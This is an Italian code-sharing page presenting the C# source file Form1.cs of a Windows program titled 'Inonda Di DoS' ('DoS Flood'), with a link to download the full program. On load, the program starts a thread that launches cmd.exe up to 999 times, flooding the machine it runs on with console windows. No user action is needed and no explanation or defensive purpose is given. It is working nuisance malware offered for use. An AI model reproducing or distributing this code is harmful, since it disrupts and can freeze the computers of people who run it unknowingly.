Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
Inonda Di DoS - Form1.cs

Form1.cs

Caricato da:
Scarica il programma completo

  1. using System;
  2. using System.Drawing;
  3. using System.Collections;
  4. using System.ComponentModel;
  5. using System.Windows.Forms;
  6. using System.Data;
  7. using System.Diagnostics;
  8. using System.IO;
  9. using System.Threading;
  10.  
  11. namespace WindowsApplication6
  12. {
  13.         /// <summary>
  14.         /// Descrizione di riepilogo per Form1.
  15.         /// </summary>
  16.         public class Form1 : System.Windows.Forms.Form
  17.         {
  18.                 private System.Windows.Forms.NumericUpDown n;
  19.                 /// <summary>
  20.                 /// Variabile di progettazione necessaria.
  21.                 /// </summary>
  22.                 private System.ComponentModel.Container components = null;
  23.  
  24.                 public Form1()
  25.                 {
  26.                         //
  27.                         // Necessario per il supporto di Progettazione Windows Form
  28.                         //
  29.                         InitializeComponent();
  30.  
  31.                         //
  32.                         // TODO: aggiungere il codice del costruttore dopo la chiamata a InitializeComponent
  33.                         //
  34.                 }
  35.  
  36.                 /// <summary>
  37.                 /// Pulire le risorse in uso.
  38.                 /// </summary>
  39.                 protected override void Dispose( bool disposing )
  40.                 {
  41.                         if( disposing )
  42.                         {
  43.                                 if (components != null)
  44.                                 {
  45.                                         components.Dispose();
  46.                                 }
  47.                         }
  48.                         base.Dispose( disposing );
  49.                 }
  50.                 void ApriDoS()
  51.                 {
  52.                         for(int i = 0;i<n.Value;i++)
  53.                         {
  54.                                 Process.Start("cmd.exe","start");
  55.                         }
  56.                 }
  57.  
  58.                 #region Codice generato da Progettazione Windows Form
  59.                 /// <summary>
  60.                 /// Metodo necessario per il supporto della finestra di progettazione. Non modificare
  61.                 /// il contenuto del metodo con l'editor di codice.
  62.                 /// </summary>
  63.                 private void InitializeComponent()
  64.                 {
  65.                         this.n = new System.Windows.Forms.NumericUpDown();
  66.                         ((System.ComponentModel.ISupportInitialize)(this.n)).BeginInit();
  67.                         this.SuspendLayout();
  68.                         //
  69.                         // n
  70.                         //
  71.                         this.n.Font = new System.Drawing.Font("Comic Sans MS", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0)));
  72.                         this.n.ForeColor = System.Drawing.Color.Black;
  73.                         this.n.Location = new System.Drawing.Point(152, 32);
  74.                         this.n.Maximum = new System.Decimal(new int[] {
  75.                                                                                                                           1000,
  76.                                                                                                                           0,
  77.                                                                                                                           0,
  78.                                                                                                                           0});
  79.                         this.n.Name = "n";
  80.                         this.n.Size = new System.Drawing.Size(88, 26);
  81.                         this.n.TabIndex = 1;
  82.                         this.n.Value = new System.Decimal(new int[] {
  83.                                                                                                                         999,
  84.                                                                                                                         0,
  85.                                                                                                                         0,
  86.                                                                                                                         0});
  87.                         //
  88.                         // Form1
  89.                         //
  90.                         this.AutoScaleBaseSize = new System.Drawing.Size(5, 13);
  91.                         this.ClientSize = new System.Drawing.Size(144, 78);
  92.                         this.Controls.Add(this.n);
  93.                         this.Name = "Form1";
  94.                         this.Text = "Form1";
  95.                         this.Load += new System.EventHandler(this.Form1_Load);
  96.                         ((System.ComponentModel.ISupportInitialize)(this.n)).EndInit();
  97.                         this.ResumeLayout(false);
  98.  
  99.                 }
  100.                 #endregion
  101.  
  102.                 /// <summary>
  103.                 /// Il punto di ingresso principale dell'applicazione.
  104.                 /// </summary>
  105.                 [STAThread]
  106.                 static void Main()
  107.                 {
  108.                         Application.Run(new Form1());
  109.                 }
  110.  
  111.                 private void Form1_Load(object sender, System.EventArgs e)
  112.                 {
  113.                 Thread t = new Thread(new ThreadStart(ApriDoS));
  114.                 t.Start();
  115.                
  116.                 }
  117.         }
  118. }